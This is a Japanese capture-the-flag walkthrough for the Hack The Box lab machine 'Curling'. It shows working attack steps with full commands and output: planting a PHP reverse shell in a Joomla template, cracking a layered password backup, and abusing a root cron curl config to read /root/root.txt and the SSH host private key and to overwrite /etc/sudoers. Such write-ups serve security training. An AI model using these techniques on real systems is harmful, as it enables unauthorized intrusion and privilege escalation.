【Hack The Box】Curling Walkthrough
はじめに
ポートスキャン
root@kali:~# nmap -sC -sV -Pn 10.10.10.150 Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-20 13:22 JST Nmap scan report for 10.10.10.150 Host is up (0.26s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) | 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) |_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: Joomla! - Open Source Content Management |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.69 seconds
22(ssh)、80(http)が開いている。
ブラウザで80番へアクセス
Floris
というユーザ名と思われるものが見つかる。Wappalyzerを確認した所、CMSにはJoomlaが使われている。
後々既知の脆弱性を探す可能性もあるのでメモっておく。
ディレクトリスキャン
root@kali:~# gobuster dir -u http://10.10.10.150 -w /usr/share/dirb/wordlists/common.txt -x txt,php -t 100 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.150 [+] Threads: 100 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: php,txt [+] Timeout: 10s =============================================================== 2020/09/20 13:28:02 Starting gobuster =============================================================== /.htaccess (Status: 403) /.htaccess.txt (Status: 403) /.htaccess.php (Status: 403) /.hta (Status: 403) /.hta.txt (Status: 403) /.hta.php (Status: 403) /.htpasswd (Status: 403) /.htpasswd.txt (Status: 403) /.htpasswd.php (Status: 403) /administrator (Status: 301) /bin (Status: 301) /cache (Status: 301) /components (Status: 301) /configuration.php (Status: 200) /images (Status: 301) /includes (Status: 301) /index.php (Status: 200) /index.php (Status: 200) /language (Status: 301) /layouts (Status: 301) /libraries (Status: 301) /LICENSE.txt (Status: 200) /media (Status: 301) /modules (Status: 301) /plugins (Status: 301) /README.txt (Status: 200) /secret.txt (Status: 200) /server-status (Status: 403) /templates (Status: 301) /tmp (Status: 301) /web.config.txt (Status: 200) =============================================================== 2020/09/20 13:28:44 Finished ===============================================================
いくつか気になるのが見つかる。
webページの探索
gobusterで検出されたディレクトリ、ファイルを見に行く。
/administrator
Joomlaの管理画面。
secret.txt
base64デコードしてみた。
root@kali:~# echo "Q3VybGluZzIwMTgh" | base64 -d Curling2018!
パスワード?
Joomla管理画面の認証
ディレクトリスキャンで発見した/administratorに対し、「ユーザ名:Floris」と「パスワードCurling2018!」でログインに成功。
ソースコードの改ざん
Joomla初体験のため、UIの雰囲気が分からない。webshellをアップロードしたかったが、ファイルをアップロードできる箇所が見当たらなかった。
しかし、[CONFIGURATION]→[Template]→[Styles]からソースコードの編集ができそうだ。
Styleとやらの候補は2つあったので、Protostar
という方をwebshellの機能を持ったコードに編集することにする。
phpのリバースシェルを実現するwebshellを持ってくる。
root@kali:~/curling# wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz root@kali:~/curling# tar -xvf php-reverse-shell-1.0.tar.gz
ここで解凍されたphpのwebshellをコピペし、パラメータの値を自身(攻撃側)のIPアドレスに変更して保存。
www-dataでのシェル奪取
攻撃側で待ち受けた状態で、以下のURLにアクセスしたら、www-userでシェルが返ってきた。 http://10.10.10.150/templates/protostar/component.php
root@kali:~/curling# nc -lvp 1234 listening on [any] 1234 ... 10.10.10.150: inverse host lookup failed: Unknown host connect to [10.10.14.14] from (UNKNOWN) [10.10.10.150] 57424 Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux 05:08:28 up 44 min, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ python3 -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@curling:/$
user.txt取得まで
www-data@curling:/$ ls -l /home ls -l /home total 4 drwxr-xr-x 6 floris floris 4096 May 22 2018 floris www-data@curling:/$ ls -l /home/floris ls -l /home/floris total 12 drwxr-x--- 2 root floris 4096 May 22 2018 admin-area -rw-r--r-- 1 floris floris 1076 May 22 2018 password_backup -rw-r----- 1 floris floris 33 May 22 2018 user.txt www-data@curling:/$ cat /home/floris/password_backup cat /home/floris/password_backup 00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H.. 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...` 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. 00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x 00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s." 000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R. 000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p.. 000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C 000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*.. 000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P. 000000f0: 819b bb48 ...H www-data@curling:/$
password_backupのパーミッションが644だったので、www-userでも中身が見れた。
ローカルに持ってきて、バイナリデータに変換。
root@kali:~/curling# xxd -r password_backup data root@kali:~/curling# file data data: bzip2 compressed data, block size = 900k root@kali:~/curling# bzip2 -d data bzip2: Can't guess original name for data -- using data.out root@kali:~/curling# file data.out data.out: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141 root@kali:~/curling# gzip -d data.gz root@kali:~/curling# file data data: bzip2 compressed data, block size = 900k root@kali:~/curling# bzip2 -d data bzip2: Can't guess original name for data -- using data.out root@kali:~/curling# file data.out data.out: POSIX tar archive (GNU) root@kali:~/curling# tar -xvf data.out password.txt root@kali:~/curling# cat password.txt 5d<wdCbdZu)|hChXll
bzip2→gzip→bzip2と解凍していくと、tar archiveが出てくる。これを展開すると、パスワードが見つかる。
www-data@curling:/$ su floris su floris Password: 5d<wdCbdZu)|hChXll floris@curling:/$ cat /home/floris/user.txt cat /home/floris/user.txt 65XXXXXXXXXXXXXXXXXXXX
権限昇格のための情報収集
floris@curling:/$ sudo -l sudo -l [sudo] password for floris: 5d<wdCbdZu)|hChXll Sorry, user floris may not run sudo on curling.
sudoの権限はない。
floris@curling:/$ find / -perm -4000 2>/dev/null find / -perm -4000 2>/dev/null /snap/core/4486/bin/mount /snap/core/4486/bin/ping /snap/core/4486/bin/ping6 /snap/core/4486/bin/su /snap/core/4486/bin/umount /snap/core/4486/usr/bin/chfn /snap/core/4486/usr/bin/chsh /snap/core/4486/usr/bin/gpasswd /snap/core/4486/usr/bin/newgrp /snap/core/4486/usr/bin/passwd /snap/core/4486/usr/bin/sudo /snap/core/4486/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/4486/usr/lib/openssh/ssh-keysign /snap/core/4486/usr/lib/snapd/snap-confine /snap/core/4486/usr/sbin/pppd /usr/lib/openssh/ssh-keysign /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/snapd/snap-confine /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/policykit-1/polkit-agent-helper-1 /usr/bin/newgidmap /usr/bin/chsh /usr/bin/pkexec /usr/bin/chfn /usr/bin/newuidmap /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/at /usr/bin/passwd /usr/bin/sudo /usr/bin/traceroute6.iputils /bin/umount /bin/fusermount /bin/su /bin/ntfs-3g /bin/ping /bin/mount floris@curli
SUIDが設定されているファイルで使えそうなものもなさそう。
floris@curling:/$ uname -a uname -a Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
カーネルのバージョンだけ、とりあえず調べておいた。
cronで実行されているプロセスを見るためにpspy
を攻撃側から持ってくる。
攻撃側環境でpythonで待ち受けて・・・
root@kali:~/tools/pspy# python -m SimpleHTTPServer 8080
wget
でとりに行き、実行。
floris@curling:/tmp$ wget http://10.10.14.14:8080/pspy64 wget http://10.10.14.14:8080/pspy64 --2020-09-20 08:33:53-- http://10.10.14.14:8080/pspy64 Connecting to 10.10.14.14:8080... connected. HTTP request sent, awaiting response... 200 OK Length: 3078592 (2.9M) [application/octet-stream] Saving to: ‘pspy64’ pspy64 100%[===================>] 2.94M 1.39MB/s in 2.1s 2020-09-20 08:33:56 (1.39 MB/s) - ‘pspy64’ saved [3078592/3078592] floris@curling:/tmp$ chmod +x pspy64 chmod +x pspy64 floris@curling:/tmp$ ./pspy64 ./pspy64 (snip) 2020/09/20 08:35:20 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity 2020/09/20 08:36:01 CMD: UID=0 PID=16186 | sleep 1 2020/09/20 08:36:01 CMD: UID=0 PID=16185 | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report 2020/09/20 08:36:01 CMD: UID=0 PID=16184 | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input 2020/09/20 08:36:01 CMD: UID=0 PID=16182 | /usr/sbin/CRON -f 2020/09/20 08:36:01 CMD: UID=0 PID=16181 | /usr/sbin/CRON -f 2020/09/20 08:36:01 CMD: UID=0 PID=16187 | curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report (snip)
curl
で/home/floris/admin-area/input
をコンフィグファイルとし、そのレスポンスを/home/floris/admin-area/report
に出力しているようだ。
root権限で実行されているため、/home/floris/admin-area/input
をうまく書き換えれば、root.txtが/home/floris/admin-area/report
に出力できそうだ。
/admin-area配下のファイルの確認
floris@curling:~/admin-area$ ls ls input report floris@curling:~/admin-area$ cat input cat input url = "http://127.0.0.1" floris@curling:~/admin-area$ cat report (snip)
inputには、curlの引数となるurlの記載がある。これをroot.txtに置き換える。
root.txt取得まで
floris@curling:~/admin-area$ echo 'url = "file:///root/root.txt"' > input floris@curling:~/admin-area$ cat input url = "file:///root/root.txt" floris@curling:~/admin-area$ cat report 82XXXXXXXXXXXXXXXX
おまけ(walkthroughを見て、こんなことをやっている人もいた)
秘密鍵の取得
floris@curling:~/admin-area$ echo 'url = "file:///etc/ssh/ssh_host_rsa_key"' > input floris@curling:~/admin-area$ cat report -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAxrGrd9mhiR027tIEFPRWCDJTKhf7osrU2epbFvhCKHb5T6eg ruVR37NohBXeZ359LPve6k3ydufJX+xpN6x61C7wq1In9sE4SHlt5uH0uY+jtmT4 79BpeYNNkyLUpJcEJoyX8h9CkeW9Q/Wxgl0FdxpufOQw/MGazqU8Q4xgp5gcmKB4 rXxurGtSwu0nJG/IPSpuNH73yjz1jB4M1IVwt4N8F8o113gcmb4Y2wALjr+zCnWu jI3jVB+9YZIkEZE8GfKqmPX2ww50ijh3ZAtknLPvLXKc/ACHpHP4Zg0p/kCm7Pt4 ldBS6FvUzj5k/Mc+OXrZ6lug4YZXKzu2hY7t9wIDAQABAoIBAHhKxnHH63k0m7ZY pan+BzvtI9ZfMLRtMhJARSeR45PV+7hS1wAry7awSn11M/HabXRXhKy7xihgydTu LwFKxg5B4OkH0zQb5LRT98qJT/0rzkS1utSNi93KNaP3uV9wIk4oXjFy5X2o5j4H uJEhOhbShMPN7y6HE+85sFOA4F91sLCz6ImF5pzQjDKQT21NESuYCjuxfHdStn4t TiL01PbTRWnBl4fe33nfqCT+bMUlyx81xbmUnNunBp9b+qoSRgsEqJdiKgCKd399 PgUBGtB1vyBL6Jmoqhtpkm2CfpDmKj/2CedZS32BsDYARh3lMiStxfEz58IO9ECm BtpmvlECgYEA+JaYujg4sQeT7wuONF6mKo0Y4/7wMGmiKAajtp5Ojptrz7mg70Js 6cDxdjkLMq81iGpuXNKaD06CQT0dqLzZC6LMmGSVErp8l2T8KI9FRT9vlES20s50 loPO1TuhZjhQSvzOxx84KF7s19VqOedlkbUJ+v7LIYkrS/ChloXu428CgYEAzJ4+ oWUgBWZJhvAGBOLbh8j6jVplA2pW+sH+UaRaGW0Bumny/gnKuhw/rr0xiykQcH6w 9vmtfA1iXnd6DL3ZtQ3gz3HHO0Lmc10ROVZtloSgrk8GYhbGhaQ354JRhGD3G2jv yu8D30LvzmIkruy2QRWP5Rn4DCZKCLwJLOFwOfkCgYAJCvFjVMg7KFtpRrJVlVvW EGvnX069dBpB+nvaGMgix+SUGdyQ14m+txYRhuGxZk48OCLrnX2dMO3sEZ0SlkwO 8E0g/geuNrpxh2rkztFmQ3h7nERKRthW4VSUzSaB4WqKT8f11lzkmw9iipDiqlg3 hK5oQvyAq8y3Znl6UETwYQKBgGluzKTK/6Hon9BY0zEnV6jyxS+auVv2KlVRKmMV BZv+UBqmxx9hGkWlkqbOM74Z7a+ZiEPqSRsXpm04sPnpxUkGmqUpYlhF04r0FJDv 2M3rDwRiEc7vH2HzSR8QRkKo2AsWmiB94gfjbL9yUKaVsB9/JcMOC4LvI8y2Xx/y Faq5AoGAIhRirESXCfGk/UmklDq95IjEP9RSMBIupANg3XfAKM6+l10FL/6KpvVb WVow0KvgoP8ioOXEGTgOzDINkzhlNezSTWFhjbz/ngLXVWIPD5PwkMrIwSYTvN3f 6HdAhsrnvCgihygg/IAJJAo8yOA1iqwGp+L+25HS6GdeYLYMuxo= -----END RSA PRIVATE KEY-----
sudo実行権限を付与
floris@curling:~/admin-area$ echo ' floris ALL=(ALL:ALL) ALL' > my-sudoers floris@curling:~/admin-area$ echo -e 'url = "file:///home/floris/my-sudoers"\noutput = "/etc/sudoers"' > input floris@curling:~/admin-area$ sudo su - [sudo] password for floris: root@curling:~# whoami root